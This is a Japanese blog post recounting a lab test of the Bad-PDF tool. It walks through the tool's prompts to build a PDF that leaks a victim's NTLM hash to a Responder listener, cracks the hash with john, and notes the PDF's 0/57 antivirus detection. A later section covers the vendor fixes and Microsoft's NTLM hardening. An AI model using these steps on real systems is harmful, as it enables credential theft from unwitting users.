とある親父の侵入実験【Bad-PDFを使ってみた】
2018年のGW前半に「Bad-PDF」というツールが公開されていたので、どんなものか試しに使ってみた。事の発端は、4月29日のこのツイート
https://t.co/FZxefN5l64
— DeepZec (@DeepZec) 2018年4月29日
Bad-PDF - Steal NTLM hashes using Malicious PDF file, It uses recently disclosed PDF vulnerability by Checkpoint to create malicious PDF document. @KitPloit @TheHackersNews #Badpdf
最近公開された脆弱性を利用してNTLMハッシュを盗み出す悪意のあるPDFファイルを作れるようのことを言ってる。実際にどんなものか検証した。
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
1・環境
2・準備
Githubより「Bad-PDF」をダウンロードする。
次にbadpdf.pyに実行権を付与する。面倒だからchmod 777で処置w
chmod 777 badpdf.py
3・実行
実行権を付与したbadpdf.pyを実行する。
./badpdf.py
必要な項目を入力していく
Please enter responder path (Default /usr/bin/responder):
/usr/sbin/responder ←responderのパスを指定
Please enter Bad-PDF host IP:
192.168.55.128 ←自分のIPアドレス
Please enter output file name:
sample.pdf ←作成するPDFファイルの名前
Please enter the interface name to listen(Default eth0):
eth0 ←待ち受けるインターフェース
必要項目への入力が終わるとresponderが起動し待ち受け状態になる
ちなみに先ほど項目を指定して作成したPDFファイルは、badpdf.pyを起動した場所と同じところに生成されている。
このPDFファイルを「やられPC」側に配置し実行すると・・・
見事にやられPCのNTLMハッシュが流れてきた!
次に、このハッシュ部分をテキストファイル(今回はファイル名:hash)として保存する。
作成したハッシュファイルをjohnで解析する。
john hash
ユーザ名:Victim
パスワード:pass1234
簡単なパスワード使っていたせいもあるけどわずか1分程度でNTLMハッシュが解析する事ができた。
4・まとめ
このBad-PDFを使ってユーザ情報を盗み出すには、そもそも対象と同じネットワークに接続していないと難しそう。しかし、長期的な攻撃キャンペーンなどでは、もしかすると悪用されてしまう可能性もあるのかな?と考える。
5・おまけ
みんなが大好きvirustotalの結果を貼っておくと、このブログを書いた今日(2018年5月16日)現在、検出率は0/57で悪意のあるものとは判断されていません。
追加
2018/05/17 0:10追加
対策について触れていないというご指導を賜りましたので、教えていただいた情報を元にできる範囲内で検証してみました。(どうしても攻撃手法にばかり目がいって対策とかの守る側のスタンスを疎かにしてしまってます^^;)
ベンダ側の対応状況 (修正有無) が書かれていなかったですが、Foxit はバージョン 9.1 で修正済み、Adobe は未修正 (修正するつもりはない模様)、関連するのはこの辺りの件 https://t.co/uUgcKYJRmH https://t.co/5ylKQGG2z4 https://t.co/gi0piJ0P6u
— Neutral8✗9eR (@0x009AD6_810) 2018年5月16日
まず、脆弱性への対応はFoxitは9.1で対応。しかし、adobeは以下の理由から対応しない様です。以下、引用
Adobe responded as shown below, without assigning any CVE or fix for the vulnerability:
“Thank you for checking in on this case. Microsoft issued an optional security enhancement [0] late last year that provides customers with the ability to disable NTLM SSO authentication as a method for public resources. With this mitigation available to customers, we are not planning to make changes in Acrobat.“
全文についてはこちら
要するに、マイクロソフト側で「Windows NTLM SSO 認証の変更」という形でNTLM SSO認証を無効にすることができるので、Acrobatでは処置しませんということらしい。
では、そのマイクロソフトの対応とは何なのかというと
https://portal.msrc.microsoft.com/ja-jp/security-guidance/advisory/ADV170014
Windows NTLM SSO認証のセキュリティ強化をリリースし、この新しいセキュリティ強化を展開した場合、攻撃者は組織外の悪意のあるリソースにユーザーをリダイレクトして、NTLM 認証メッセージを取得することができなくなる。また、この設定にはレジストリの設定を変更する必要がある。
また、このアドバイザリでは以下の様にもいっている。
NTLM を使用するすべてのバージョンの Windows は、この種類の攻撃を受ける可能性があります。古いバージョンの Windows ファイアウォールには制限があるため、マイクロソフトは Windows 10 および Server 2016 でのみこの新しい動作をリリースし、この新しい動作の使用について古いオペレーティング システムを除外しています。マイクロソフトは、最新の最も安全な製品にアップグレードすることをお勧めします。
要するに最新のOSを最新の状態にアップグレードすることを推奨している様子。
今後、マイクロソフトの対応がどの様にBad-PDFに対して有効なのかを検証し追記していく。